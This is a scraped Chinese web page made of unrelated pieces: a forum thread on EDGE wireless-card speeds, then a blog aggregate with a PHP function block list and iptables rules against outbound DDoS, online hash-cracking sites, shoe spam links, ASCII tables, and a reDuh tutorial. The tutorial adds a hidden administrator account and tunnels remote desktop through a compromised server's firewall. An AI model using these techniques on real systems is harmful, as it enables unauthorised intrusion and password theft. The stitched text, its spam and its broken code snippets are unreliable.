∼ 财 付 通 激 活 邮 箱 ∼

后使用快捷导航没有帐号?
只需一步,快速开始
本人新入一联晨EDGE无线上网卡(EXPRESS T口),和一个包5个月,每月2000MB流量的资费卡。
我这是郊区,可能是信号强度原因或者是联晨网卡的原因,下载速度不容乐观,用QQ传文件能稳定在10~12KB,用迅雷下电信接点的文件只能在8KB左右,下次拿我的NOKIA手机连上试试速度,应该会快些。
我一般每次使用大概4个小时,
QQ很稳定,不掉线。QQ游戏没时间试用。
开网页,我禁用所有图片所有FLASH,一般5秒开一个页面。如果开图片的话,15秒左右一个页面,而且很费流量。
最满足的是可以玩网游,哈哈! 我试玩了热血江湖和武林外传,延迟大概在200~500ms之间,是电信的服务器。如果关掉QQ裸奔的话,延迟会小点。
关于流量使用问题,我平均2个小时使用20MB流量(QQ一直开着,网页大概浏览20分钟,其他时间玩网游)
所以节省点一个月1GB流量够用,想正常点使用,2000MB以上的流量是很必要的!
下次换手机连上,试试速度如何再更新,o(∩_∩)o...
恭喜,获得本币奖励
总评分:&本币 + 12&
更多作者主题
UID183570在线时间149 小时注册时间最后登录积分485阅读权限0本币172 板币0 idea豆38 奶牛币5 绿豆0 电商币0
头像被屏蔽
提示: 作者被禁止或删除 内容自动屏蔽
UID在线时间88 小时注册时间最后登录积分269阅读权限30本币85 板币0 idea豆3 奶牛币0 绿豆0 电商币0
本立道生(LV3), 积分 269, 距离下一级还需 231 积分
回复 #2 GESTAPO 的帖子
EDGE是只要你所在的地区GPRS网络有升级到EDGE就可以自动使用,不需要另行开通.
GPRS实际使用速度大概在2KB/s,EDGE大概在10~15KB/s,不是一个档次的.
用电脑看网页,个人认为没有512Kbps的带宽是不行的(实际使用带宽不是理论值).我用EDGE看网页,把所有图片.FLASH关闭开一个也要等5~10秒钟.
SIM卡上网,我用联晨上网卡自带的软件拨号,软件自动设置了,呵呵.我的卡是不分CMWAP和CMNET的.
如果是用手机连接电脑的话,相关设置可以参考置顶帖.
----------------------------------------------------------------------------------------------------------------------------------
另外,昨天晚上有换过我的NOKIA 6120C,用USB线连接电脑,PCSUIT软件一键接入拨号上网,哎呀,速度还是不快,也许是昨天周日的原因.玩武林外传,服务器延迟在500多ms, 换成联晨网卡延迟在700多ms...& &所以,如果有米的话,最好还是弄个华为或者网讯的好无线上网卡. 我就这么凑活着用,玩游戏打发时间就行啦...
恭喜,获得本币奖励
总评分:&本币 + 6&
UID183570在线时间149 小时注册时间最后登录积分485阅读权限0本币172 板币0 idea豆38 奶牛币5 绿豆0 电商币0
头像被屏蔽
提示: 作者被禁止或删除 内容自动屏蔽
UID在线时间88 小时注册时间最后登录积分269阅读权限30本币85 板币0 idea豆3 奶牛币0 绿豆0 电商币0
本立道生(LV3), 积分 269, 距离下一级还需 231 积分
回复 #4 GESTAPO 的帖子
关闭了图片的话可以在图片显示区点右键-显示图片,我用得是傲游浏览器禁掉图片的。
我没用过华为或者网讯的,不过感觉500以上的卡要比200价位的卡速度上要快点,具体在2~5KB左右,而且稳定性肯定比200价位的高。你可以多逛逛论坛看别人使用经验。个人认为没多大必要买高端卡,因为我用NOKIA 6120C手机也试过(NOKIA公认信号好),高端卡应该跟好点的手机差不多。
我昨天晚上在QQ邮箱下附件(没用工具下载),很快,开始速度有50KB,慢慢的在15秒之内降低到15KB,后来一直稳定在15KB,下载速度跟服务器有很大关系。昨天使用了4个小时(挂2个QQ,玩游戏),比较稳定,玩游戏有卡过一次,后来重新登录游戏就好了,游戏延迟可以接受,不算太卡。
另外天线非常重要,我有次把天线缩回去了,结果马上就掉线了
UID8738989在线时间70 小时注册时间最后登录积分112阅读权限20本币14 板币0 idea豆0 奶牛币0 绿豆1 电商币0
初具本念(LV2), 积分 112, 距离下一级还需 88 积分
我用SE 810蓝牙连笔记本,每月5元包30M,凑合着用。。。
UID183570在线时间149 小时注册时间最后登录积分485阅读权限0本币172 板币0 idea豆38 奶牛币5 绿豆0 电商币0
头像被屏蔽
提示: 作者被禁止或删除 内容自动屏蔽
UID在线时间12 小时注册时间最后登录积分28阅读权限10本币2 板币0 idea豆0 奶牛币0 绿豆0 电商币0
入门本友(LV1), 积分 28, 距离下一级还需 22 积分
秀下我的~~~~~
我的EDGE,不限量的!平均每天挂4个小时以上的线!下载速度稳定在20K/S以上!常看的网站有:太平洋汽车、越野E族、校内网、学校论坛~~~~至今为止对速度表示满意!打开网页的速度远大于学校的校园网!
UID在线时间2625 小时注册时间最后登录积分16851阅读权限70本币5742 板币0 idea豆2109 奶牛币40 绿豆0 电商币0
本无缺(LV7), 积分 16851, 距离下一级还需 13149 积分
用手机上网的飘过
UID在线时间141 小时注册时间最后登录积分313阅读权限30本币73 板币0 idea豆1 奶牛币0 绿豆0 电商币0
本立道生(LV3), 积分 313, 距离下一级还需 187 积分
问下hanjianwei117 朋友,你的不限量资费怎么计算的。另外我在上海,有没有这种卡
UID2579569在线时间347 小时注册时间最后登录积分2154阅读权限50本币1061 板币0 idea豆0 奶牛币0 绿豆0 电商币0
资深本友(LV5), 积分 2154, 距离下一级还需 2846 积分
霞霞是我老婆&
我一个月1600M的流量,是没下电影的情况下,下电影就不知道了。反正很大
UID在线时间506 小时注册时间最后登录积分2437阅读权限50本币1449 板币0 idea豆0 奶牛币2 绿豆0 电商币0
资深本友(LV5), 积分 2437, 距离下一级还需 2563 积分
用WWAN卡的路过
UID7208885在线时间102 小时注册时间最后登录积分202阅读权限30本币47 板币0 idea豆1 奶牛币0 绿豆0 电商币0
本立道生(LV3), 积分 202, 距离下一级还需 298 积分
我家是合肥的,现在在南京上学,在合肥和南京都能收到edge信号,合肥用迅雷下东西速度大概在20k左右,最快见过40k,在南京可能是我们学校在郊区,速度只有10k左右。ps:用的nokia的手机。
另外我的本子上还有联通的cdma卡,速度比edge慢,在家一般不到10k,在学校只有2,3k,而且经常掉线。
UID在线时间0 小时注册时间最后登录积分12阅读权限10本币0 板币0 idea豆0 奶牛币0 绿豆0 电商币0
入门本友(LV1), 积分 12, 距离下一级还需 38 积分
有张上网卡可惜天线断了小站会根据您的关注,为您发现更多,
看到喜欢的小站就马上关注吧!
下一站,你会遇见谁的梦想?
对外DDoS攻击的处理方法 Linux 通过Iptalbes禁止PHPDDOS发包
对这种攻击的处罚政策是,  Further violations will proceed with these following actions:  1st violation - Warning and shutdown of server. We will allow 24 hours for you to rectify the problem. 第一次是警告+关机,给24小时的时间来解决问题  2nd violation - Immediate reformat of server. 第二次是立即格式化服务器  3rd violation - Cancellation with no refund. 第三次是取消服务并不给退款  针对这个问题,给一个简单的描述,  表现特征:一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到ddos攻击是不同的,Ddos是不断收到大量数据包.
  解决办法:  先停止IIS,这样就暂时没法对外攻击了,然后
  禁止上述的代码:  在c:windowsphp.ini里设置:
  disable_functions =gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen  在c:windowsphp.ini里设其值为Off
  allow_url_fopen = Off  并且:
  ;extension=php_sockets.dll  前面的;号一定要有,意思就是限制用sockets.dll  前面的;号要保留  然后启动IIS  在IP策略,或防火墙中,禁止所有udp向外发送  linux下解决办法
  一、禁止本机对外发送UDP包
  iptables -A OUTPUT -p udp -j DROP
  二、允许需要UDP服务的端口(如DNS)
  iptables -I OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT  绿色&53&,为DNS所需要的UDP端口,黄色&8.8.8.8&部分为DNS IP,根据您服务器的设定来定,若您不知您当前服务器使用的DNS IP,可在SSH中执行以下命令获取:
  cat /etc/resolv.conf |grep nameserver |awk 'NR==1{print $2 }'
  附完整iptables规则
  #iptables -A INPUT -p tcp -m tcp --sport 53 --dport
-m state --state ESTABLISHED -j ACCEPT
  #iptables -A INPUT -p udp -m udp --sport 53 --dport
-m state --state ESTABLISHED -j ACCEPT
  #iptables -A OUTPUT -p tcp -m tcp --sport
-d 8.8.4.4 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
  #iptables -A OUTPUT -p udp -m udp --sport
-d 8.8.8.8 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
  #iptables -A OUTPUT -p udp -j REJECT
  #/etc/rc.d/init.d/iptables save
  # service iptables restart
  #chkconfig iptables on  开放 对外 以及对内的 DNS端口 53  禁止其他全部出站的UDP 协议
  开机启动iptables  另外要说明的是,上面的代码是因为我服务器使用的是谷歌的DNS来解析,我服务器端对外的访问(在服务器端上网,就需要,如果只是单纯的服务器,不进 行 yum安装也可以不用),因此我开放对8.8.4.4和8.8.8.8的访问,如果你不是设置为谷歌的DNS,那么这里要自行修改成你的DNS。使用的 DNS是什么可以用下面方法查询
几个在线密码破解网站的比较
国内:(收费,国内最强大的)
国内: (有特色,还没怎么用)
国内:(还不错)
国外:(免费,还不错)
国外: (免费,相当强大!!!)
国外:(免费,少有的oracle hash在线破解网站)
以上几个网站在我使用过程当中查询md5我感觉hashkiller和cmd5最强大,其实cmd5更强些,但是hashkiller是完全免费 的!所以hashkiller=cmd5&xmd5&collision,从测试来看,就md5和md5+salt来说,后 台破解比它的查询强大。
值得一提的是,很多只能靠后台破的md5密码能靠hashkiller网站直接查出来,只有少部分密码不行。可以先用 hashkiller和collision查询,再用cmd5和xmd5查询,然后再考虑使用cmd5后台破解功能,如果还破不出来那可能就真的破不出来 了。其实这五个网站也是一种检验自己密码强度的最佳方法,看看自己的密码是否在这数万亿的字典当中。另外需要补充的是,collision支持批量查 询:)
OpenDNS发布DNS加密工具
转载:连接客户和ISP的DNS协议安全薄弱已是人人皆知的秘密。为了增强DNS的安全性,OpenDNS发布了一个预览版本的, 加密DNS流量,类似加密HTTP流量的SSL。DNSCrypt能阻止DNS重放攻击、观察攻击、时序攻击、中间人攻击,以及解析伪造攻击。 DNSCrypt支持OS X、OpenBSD、NetBSD、Dragonfly BSD、FreeBSD和Linux,但还没有Windows版本。
linux服务器间同网段IP伪装端口映射
转载:同网段IP传伪装端口映射&主机(网关)ip:192.168.4.18&目标主机 ip :192.168.4.25&映射端口: 21
echo "1" & /proc/sys/net/ipv4/ip_forward#/sbin/rmmod ipchains/sbin/modprobe ip_tables/sbin/modprobe iptable_filter/sbin/modprobe iptable_nat/sbin/modprobe ip_conntrack/sbin/modprobe ip_conntrack_ftp/sbin/modprobe ip_nat_ftp/sbin/iptables -F/sbin/iptables -F INPUT/sbin/iptables -F FORWARD/sbin/iptables -F POSTROUTING -t nat/sbin/iptables -F PREROUTING -t nat/sbin/iptables -P FORWARD ACCEPT
/sbin/iptables -A FORWARD -s 192.168.4.0/24 -j ACCEPT/sbin/iptables -t nat -A POSTROUTING -s 192.168.4.25 -o eth0 -j SNAT --to-source 192.168.4.18/sbin/iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 21 -j DNAT --to-destination 192.168.4.25:21&&& #/sbin/iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 9090 -j DNAT --to-destination 192.168.4.25:80
死神来了5/绝命终结站5
\死神来了5/绝命终结站5,很刺激下载地址:
让你的脚瞬间成为众人的焦点
&雪地靴火爆热销中& 特价¥&99.02~128元http://gojy.us/kXB详细信息请登入:
智鹿冬靴5815雪地靴& 特价¥99元& 超实惠哦& http://gojy.us/kXC详细信息请登入:
保暖高筒靴厚底过膝靴&& ¥52.5~84.15元 http://gojy.us/kXD详细信息请登入:
秋冬季靴子三穿真皮女平跟长筒靴皮带扣百变款1682& ¥159.6元&&&&http://gojy.us/kXE详细信息请登入:
&兔毛女靴子防滑马丁靴&& ¥48.3~75.6元&& http://gojy.us/kXF
详细信息请登入:
卡昂正品白雪公主女靴子真皮防水雪地靴女鞋5折包邮&& ¥188元&& 很厚实很漂亮的一款鞋&&&http://gojy.us/kXG&&详细信息请登入:
秋冬日系女靴子厚底松糕短靴骑士靴&&&& 限时特价119元&&& http://gojy.us/kXH详细信息请登入:
&卓诗尼 2011正品高筒靴长筒靴&&& 秒杀价& ¥168元&& http://gojy.us/kXJ详细信息请登入:
盒装正品纯色流苏雪地靴&& 秒杀价¥65元 &&http://gojy.us/kXK详细信息请登入:
冬季新款包邮 韩国女靴& 秒杀价&¥88元& http://gojy.us/kXM&& 很多MM喜欢的一款鞋&&详细信息请登入:
兔毛系带坡跟&&& 特价¥258.34&&& http://gojy.us/kXN&详细信息请登入:
国外技术论坛爆出360安全浏览器高危漏洞
&昨天,国外技术论坛Sysinternals上爆出惊人消息,号称最&安全&的360浏览器竟然存在&缓冲区溢出漏洞&。据发布消息的论坛用户reacherj声称,通过360浏览器的这个漏洞,能够使用恶意代码自动执行并控制操作系统。虽然360浏览器号称拥有完备的&沙箱&防御技术,仍然无法抵挡住黑客的攻击。  reacherj声称,这个漏洞不仅存在基于IE内核的360安全浏览器,也存在基于Chromium内核的360极速浏览器。  论坛上还放了两段国外知名视频网站Youtube的链接,打开这两个链接,分别是黑客如何利用漏洞控制用户电脑并调出计算器程序的过程。这也意味着黑客能够利用360浏览器的漏洞远程控制电脑,访问任意文件,执行任何程序。  图1:Sysinternals论坛上的帖子
图2:Youtube视频上显示可通过360浏览器运行恶意代码
图3:黑客通过360浏览器漏洞控制用户电脑并运行计算器等程序
各种编码对照表
1.ASCII码字符表
&&&&&&&& ASCII码即美国标准信息交换码(American Standard Code for Information Interchange), 计算机只能理解数字,因此一个ASCII码就是一个字符, 如:'a' 或 '@' 的数字表现形式,也可表示某种动作。ASCII码出现较早,非打印字符的使用也不再出于最初的目的。以下是ASCII码字符表,其中包括对前32个非打印 字符的描述。当初设计ASCII码实际上是为了使用电传打字机,因此这些描述不好理解。如果有人说想要你的成绩单,但要用ASCII格式,这就意味着他们 只想要不带诸如加粗,下划线等格式的纯文本 - 也就是计算能理解的最原始的格式。这样就比较容易输入计算机进行处理。记事本可以创建ASCII码文本,在Word中你也可以把文件保存为纯文本。&&&&&&&&&& 第0~32号及第127号(共34个)是控制字符或通讯专用字符,如控制符:LF(换行)、CR(回车)、FF(换页)、DEL(删除)、BEL(振铃)等;通讯专用字符:SOH(文头)、EOT(文尾)、ACK(确认)等;&&&& 第33~126号(共94个)是字符,其中第48~57号为0~9十个阿拉伯数字;65~90号为26个大写英文字母,97~122号为26个小写英文字母,其余为一些标点符号、运算符号等。&&&& 注意:在计算机的存储单元中,一个ASCII码值占一个字节(8个二进制位),其最高位(b7)用作奇偶校验位。所谓奇偶校验,是指在代码传送过程中用来 检验是否出现错误的一种方法,一般分奇校验和偶校验两种。奇校验规定:正确的代码一个字节中1的个数必须是奇数,若非奇数,则在最高位b7添1;偶校验规 定:正确的代码一个字节中1的个数必须是偶数,若非偶数,则在最高位b7添1。
常规字符集(regular ascii codes)
Bin&&&&&&&&&&&&& Dec &&& Hex && && && 缩写/字符&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 解释
&& && 00 && && && NUL (null)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 空字符
&& && 01 && && && SOH (start of handing)&&&&&&&&&&&&&&&& 标题开始&&
&& && 02 && && && STX (start of text)&&&&&&&&&&&&&&&&&&&&& 正文开始&&
&& && 03 && && && ETX (end of text)&&&&&&&&&&&&&&&&&&&&&&& 正文结束
&& && 04 && && && EOT (end of transmission) && && && 传输结束&&
&& && 05 && && && ENQ (enquiry)&&&&&&&&&&&&&&&&&&&&&&&&&&&& 请求&&
&& && 06 && && && ACK (acknowledge)&&&&&&&&&&&&&&&&&&&&& 收到通知&&
&& && 07 && && && BEL (bell)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 响铃
&& && 08 && && && BS (backspace)&&&&&&&&&&&&&&&&&&&&&&&&&& 退格&&
&& && 09 && && && HT (horizontal tab)&&&&&&&&&&&&&&&&&&&&&& 水平制表符&&
&& &&& 0A && && && LF (NL line feed, new line) && && && 换行键&&
&& &&& 0B && && && VT (vertical tab)&&&&&&&&&&&&&&&&&&&&&&&&&& 垂直制表符&&
&& &&& 0C && && && FF (NP form feed, new page) && &&& 换页键&&
&& &&& 0D && && && CR (carriage return)&&&&&&&&&&&&&&&&&&&&& 回车键
&& &&& 0E && && && SO (shift out)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 不用切换&&
&& &&& 0F && && && SI (shift in)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 启用切换&&
&& &&& 10 && && && DLE (data link escape) && && && && && 数据链路转义&&
&& &&& 11 && && && DC1 (device control 1) && && && && && 设备控制1&&
&& &&& 12 && && && DC2 (device control 2) && && && && && 设备控制2&&
&& &&& 13 && && && DC3 (device control 3) && && && && && 设备控制3&&
&& &&& 14 && && && DC4 (device control 4) && && && && && 设备控制4&&
&& &&& 15 && && && NAK (negative acknowledge) && &&& 拒绝接收&&
&& &&& 16 && && && SYN (synchronous idle) && && && && &&& 同步空闲&&
&& &&& 17 && && && ETB (end of trans. block) && && && &&& 传输块结束&&
&& &&& 18 && && && CAN (cancel)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 取消
&& &&& 19 && && && EM (end of medium) && && && && && && 介质中断&&
&& &&& 1A && && && SUB (substitute)&&&&&&&&&&&&&&&&&&&&&&&&&& 替补&&
&& &&& 1B && && && ESC (escape)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 溢出&&
&& &&& 1C && && && FS (file separator)&&&&&&&&&&&&&&&&&&&&&&& 文件分割符&&
&& &&& 1D && && && GS (group separator)&&&&&&&&&&&&&&&&&&& 分组符&&
&& &&& 1E && && && RS (record separator)&&&&&&&&&&&&&&&&&& 记录分离符&&
&& &&& 1F && && && US (unit separator)&&&&&&&&&&&&&&&&&&&&& 单元分隔符
扩展字符集(extended ascii codes)
ASCII(0-255)码字符表
&&&&&&&& HTML码与ASCII无关。为了把特殊字符显示在HTML Web页面上,对这些字符编号以使浏览器能解释这些特殊字符
HTML码(HTML codes)
&&&&&&&& 扫描码同样与ASCII无关。程序员经常利用扫描码让键盘与软件交互。
扫描码(scan codes)
4.广义二进制编码的十进制交换码(EBCDIC)
EBCDIC码(Extended Binary Coded Decimal Interchange Code)
特殊符号命名实体十进制编码特殊符号命名实体十进制编码特殊符号命名实体十进制编码
Α&AΑΒ&BΒΓ&GΓ
Δ&DΔΕ&EΕΖ&ZΖ
Η&EΗΘ&TΘΙ&IΙ
Κ&KΚΛ&LΛΜΜΜ
ΝΝΝΞΞΞΟ&OΟ
ΠΠΠΡ&RΡΣ&SΣ
Τ&TΤΥ&UΥΦ&PΦ
Χ&CΧΨ&PΨΩ&OΩ
α&αβ&βγ&γ
δ&δε&εζ&ζ
η&ηθ&θι&ι
κ&κλ&λμ&μ
ν&νξ&ξο&ο
π&πρ&ρ?&ς
σ&στ&τυ&υ
φ&φχ&χψ&ψ
ω&ω?&ϑ?&ϒ
?&ϖ&&•&&…
&&′&P&P″&&‾
&&⁄&&℘&&ℑ
&&ℜ&&™&&ℵ
&&←&&↑&&→
&&↓&&↔&&↵
&lA&lA⇐&uA&uA⇑&rA&rA⇒
&dA&dA⇓&hA&hA⇔&&∀
&&∂&&∃&&∅
&&∇&&∈&&∉
&&∋&&∏&&−
&&−&&∗&&√
&&∝&&∞&&∠
&&⊥&&⊦&&∩
&&∪&&∫∴∴∴
&&∼&&≅&&≅
&&≠&&≡&&≤
&&≥&&⊂&&⊃
&&⊄&&⊆&&⊇
&&⊕&&⊗&&⊥
&&⋅&&⌈&&⌉
&&⌊&&⌋&&◊
&&♠&&♣&&♥
&&♦&& &&¡
&&¢&&£&&¤
&&¥&&¦&&§
&&¨&&©&&ª
&&«&&¬&&­
&&®&&¯&&°
&&±²²²³³³
&&´&&&#181"&"
&&<&&>'&'
HTTP隧道技术工具Reduh穿透防火墙
当然我们先看一下3389端口是否是开放的,命令行下执行netstat -an,如果能看到类似&TCP & &0.0.0.0:3389 LISTENING&这样的字样就说明很有希望了。然后我们再新建一个用户吧。依次执行net user username password /add和net localgroup administrators username /add。这时候我们满心欢喜地想在机器上远程桌面连接服务器,却发现失败了。排除了一些IP排除策略的可能性后(在注册表中可以检查相关设置),多半就是防火墙的问题了。
使用reDuh建立隧道
reDuh是由国外一个名叫Glenn Wilkinson的安全人员编写的一个通过HTTP协议建立隧道传输各种其他数据的工具。运行于服务器的JSP脚本接受HTTP请求,在本地转发给相应的端口,并接受本地端口的数据再通过HTTP发送给远程客户端。这样本来应该走其他端口的数据变摇身一变,披上了HTTP协议的报文头,换走HTTP的端口了。所有HTTP通道中的数据都是经过Base64编码的(Base64可以将二进制数据转换成ASCII字符序列,并且可以解码还原)。下面这张图详细地说明了reDuh的工作流程(图片汉化自):
将JSP文件上传至服务器后,我们在自己机器上运行客户端建立连接:java -jar reDuhClient.jar /uploads/reDuh.jsp。产生输出:
[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from /uploads/reDuh.jsp.& Using service port 42000. Please wait...
[Info]reDuhClient service listener started on local port 1010
这时候我们登录进本机的1010端口,可以使用telnet或者netcat。登录后我们会看到Welcome to the reDuh command line的提示。输入[createTunnel].0.1:3389便可以将远程服务器的3389端口和本地的1234端口绑定起来。
这时候我们便可以打开远程桌面连接,连接127.0.0.1:1234,然后就能看到熟悉的界面了。java的控制台会不断输出运行信息。因为绕了很多弯的缘故,所以远程桌面的速度并不快,但是毕竟连接上了,不是吗?
当需要断开连接的时候,我们只需要输入[killReDuh]即可
帝国cms数据库表结构
表名&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 解释&phome_ecms_infoclass_news 新闻采集规则记录表&phome_ecms_infotmp_news 采集临时表&phome_ecms_news 新闻主数据记录表&phome_ecms_news_data_1 新闻副表1&phome_ecms_news_doc 新闻归档数据主表&phome_ecms_news_doc_data 新闻归档数据副表&phome_enewsad 广告数据表&phome_enewsadclass 广告分类表&phome_enewsadminstyle 后台风格&phome_enewsbefrom 信息来源数据表&phome_enewsbq 标签数据表&phome_enewsbqclass 标签分类表&phome_enewsbqtemp 标签模板表&phome_enewsbqtempclass 标签模板分类&phome_enewsbuybak 会员卡充值记录数据表&phome_enewsbuygroup 增加充值类型数据记录表&phome_enewscard 点卡记录数据表&phome_enewschecktext 签发评语数据记录表&phome_enewsclass 栏目分类主表&phome_enewsclassadd 栏目分类副表&phome_enewsclasstemp 例表模板&phome_enewsclasstempclass 例表模板分类&phome_enewsdiggips 顶数据记录表&phome_enewsdo 自动刷新记录表&phome_enewsdolog 管理员操作记录表&phome_enewsdownerror 下载报错记录表&phome_enewsdownrecord 扣点下载记录数据表&phome_enewsdownurlqz 下载地址前缀记录表&phome_enewserrorclass 管理员错误报告记录表{都不知道在后台哪里}&phome_enewsf 字段记录表&phome_enewsfava 会员收藏数据记录表&phome_enewsfavaclass 会员收藏夹分类记录表&phome_enewsfeedback 反馈数据记录表&phome_enewsfeedbackclass 反馈分类数据记录表&phome_enewsfeedbackf 反馈字段数据记录表&phome_enewsfile 附件管理数据记录表 位置:栏目管理-&附件管理&phome_enewsgbook 留言数据&phome_enewsgbookclass 留言分类&phome_enewsgfenip 封IP?&phome_enewsgroup 管理员用户组数据记录表&phome_enewshy 会员好友存放表&phome_enewshyclass 会员好友分类表&phome_enewsinfoclass 采集正则数据表&phome_enewsinfotype 标题分类数据记录表&phome_enewsinfovote 内容投票数据记录表&phome_enewsjstemp JS模板数据记录表&phome_enewsjstempclass JS模板分类数据记录表&phome_enewskey 内容关键字数据记录表&phome_enewslink 友情链接记录表&phome_enewslinkclass OMG黄花菜都凉了..&phome_enewslinktmp 采集的url临时表&phome_enewslisttemp 列表模板记录表&phome_enewslisttempclass 列表模板分类记录表&phome_enewslog 管理员登陆日志&phome_enewsloginfail 管理员登陆失败记录表&phome_enewsmember 会员数据记录主表&phome_enewsmemberadd 会员增加字段的会员数据数据记录表&phome_enewsmemberf 会员字段数据记录表&phome_enewsmemberfeedback 会员空间反馈数据记录表 e/space/feedback.php?userid=1&phome_enewsmemberform 会员注册表单数据记录表&phome_enewsmembergbook 会员空间留言板数据记录表&phome_enewsmembergroup 会员组数据记录表&phome_enewsmod 模型数据记录表&phome_enewsnewstemp 内容模板数据记录表&phome_enewsnewstempclass 内容模板分类数据记录表&phome_enewsnotcj 防采集字符记录表&phome_enewspage 自定义页面记录表&phome_enewspageclass 自定义页面分类记录表&phome_enewspayapi 支付接口记录表&phome_enewspayrecord 支付记录记录表&phome_enewspic 图片信息记录表 位置:后台-其他管理》管理图片信息 & 管理图片信息&phome_enewspicclass 图片信息分类记录表 位置:后台-其他管理》管理图片信息 & 管理图片信息分类&phome_enewspl 评论数据记录主表&phome_enewsplayer 播放器记录表&phome_enewsplf 评论自定义字段表&phome_enewspltemp 评论模板记录表&phome_enewspl_data_1 评论记录副表1&phome_enewspostdata 远程发布临时表&phome_enewspublic 网站设置数据记录表&phome_enewspubtemp 公共模板数据记录表&phome_enewsqf 签发数据记录表&phome_enewsqmsg 站内信息记录表&phome_enewssearch 搜索关键字记录表 栏目管理-》管理搜索关键字&phome_enewssearchall 全站搜索数据记录表&phome_enewssearchall_load 搜索数据源 & 增加搜索数据源&phome_enewssearchtemp 搜索模板记录表&phome_enewssearchtempclass 搜索模板分类表&phome_enewsshopdd 商城系统订单记录表&phome_enewsshoppayfs 支付方式记录表&phome_enewsshopps 配送方式记录表&phome_enewsspacestyle 会员空间风格记录表&phome_enewssql SQL语句记录表&phome_enewstable 数据表记录表&phome_enewstask 计划任务数据表&phome_enewstempgroup 模板组记录表&phome_enewstempvar 模板变量记录表&phome_enewstempvarclass 模板变量分类记录表&phome_enewstogzts 组合专题参数保存表&phome_enewsuser 管理员记录表&phome_enewsuserjs 自定义JS数据记录表&phome_enewsuserlist 自定义列表&phome_enewsvote 管理投票 & 增加投票&phome_enewsvotemod 模型预设投票&phome_enewsvotetemp 投票模板数据表&phome_enewswapstyle WAP模板数据表&phome_enewswords 过滤字符数据记录表&phome_enewswriter 作者表&phome_enewszt 专题数据表&phome_enewsztclass 专题分类表
php二种读取和创建word文档方法
PHP操作word文档的二种方法&方法一:利用php com模块 。也即利用word提供的本地api,所有只适用于windows系统上。&view plaincopy to clipboardprint?&?php&& $word = new com('word.application') or die('无法打开word');&& $word-&Visiable =&& $doc_file = '/path/to/doc';&& $word-&Open($doc_file);&& $text = '这段文字将被写到word文档中去';&& $word-&Selection-&TypeText($text);&& //保存&& $word-&ActiveDocument-&Save();&& //读取内容&& $doc_file_contents = $word-&ActiveDocument-&Content-&T&& //输出word内容&& $word-&PrintOut();&& $word-&Close();&& ?&& &?php$word = new com('word.application') or die('无法打开word');$word-&Visiable =$doc_file = '/path/to/doc';$word-&Open($doc_file);$text = '这段文字将被写到word文档中去';$word-&Selection-&TypeText($text);//保存$word-&ActiveDocument-&Save();
//读取内容$doc_file_contents = $word-&ActiveDocument-&Content-&T//输出word内容$word-&PrintOut();$word-&Close();?&利用com连接word,经常无法预期运行成功,不稳定目前也不知道是什么原因,暂时靠运气吧。&方法二:利用catdoc。catdoc是linux上的工具,需要自行安装配置。&view plaincopy to clipboardprint?&?php&& //catdoc位置&& $cat_doc = '/usr/local/bin/catdoc';&& $doc_file = 'this is a doc file';&& //读取word文件内容&& $doc_file_contents = shell_exec($cat_doc . ' ' . $doc_file);&&& echo nl2br($doc_file_contents);&& ?&& &?php//catdoc位置$cat_doc = '/usr/local/bin/catdoc';$doc_file = 'this is a doc file';//读取word文件内容$doc_file_contents = shell_exec($cat_doc . ' ' . $doc_file); echo nl2br($doc_file_contents);?&&关于更多catdoc的相关功能,请查阅catdoc文档。由于catdoc是linux的工具,所以上面的这段代码只能运行在linux服务器上,而已必须安装了catdoc。
Linux下的iftop工具的使用
&&&& 今天想在linux环境下查看当前系统与哪些IP或者WEB进行连接,然后发现了一款比较好的工具叫iftop工具,现在说明一下使用方法吧。&&&& 但是还有一个问题,就是如果程序需要采用获取出来iftop产生的结果,但是直接执行会有问题。第一个问题就是:没有执行权限第二个问题就是:如果分析产生的数据&&&& 对于第一个问题:iftop要在root权限下执行,才能产生数据,有一种方案可以修改/etc/sudoers文件来配置普通用户执行root的命令,但是貌似获取不到数据。于是产生了第二种方法,就是使用重定向。第二个问题就是把产生的结果重定向到一个文件里面去,通过cat或者vi查看文件是正常的,但是用程序解析文件后产生了全是乱码,特别纠结。问题还是没有解决,所以先介绍一下iftop的使用吧。options_set_defaults();//程序运行参数的一些缺省设置,参数选项的结构体为typedef struct {&&& /* interface on which to listen */&&& char *&&& //dns解析&&& //端口解析&&& /* pcap filter code */&&& char * //设置过滤&&&& &&& option_port_ //是否显示端口&&&&&& int promiscuous_but_&&& int aggregate_&&& int aggregate_&&&&&&&&& int bandwidth_in_ //字节表示带宽&&& option_sort_ //排序&&& int bar_&&& char*&&&&&& int screen_&&& option_linedisplay_&&& int show_&&& long long max_&&& int log_&&& /* Cross network filter */&&&&&& struct in_&&& struct in_&&& char *config_&&& int config_file_} options_t;&options.interface = get_first_interface();//获取第一个接口名称,默认是&eth0&get_first_interface()调用nameindex = if_nameindex();&if_freenameindex(nameindex);&网络界面Interface的相关变量和函数
以下内容在库文件net/if.h中
size_t IFNAMSIZ表示出容纳界面名称的缓冲区的大小,包括结束符0
unsigned int nametoindex(const char *ifname);返回ifname所指出的网络界面的序号,返回0表示此界面不存在
char *if_indextoname(unsigned int ifindex,char *ifname);找到一个网络界面序号对应的界面名称,返回值在ifname对应的那段内存空间上,这段空间至少有IFNAMSIZ大,返回ifname表示成功,返回NULL表示失败
struct if_nameindex这个变量用于存储单个网络界面的信息,其中具有两个元素:unsigned int if_index:界面序号char *if_name:用null结尾的界面名称
struct if_nameindex *if_nameindex(void);
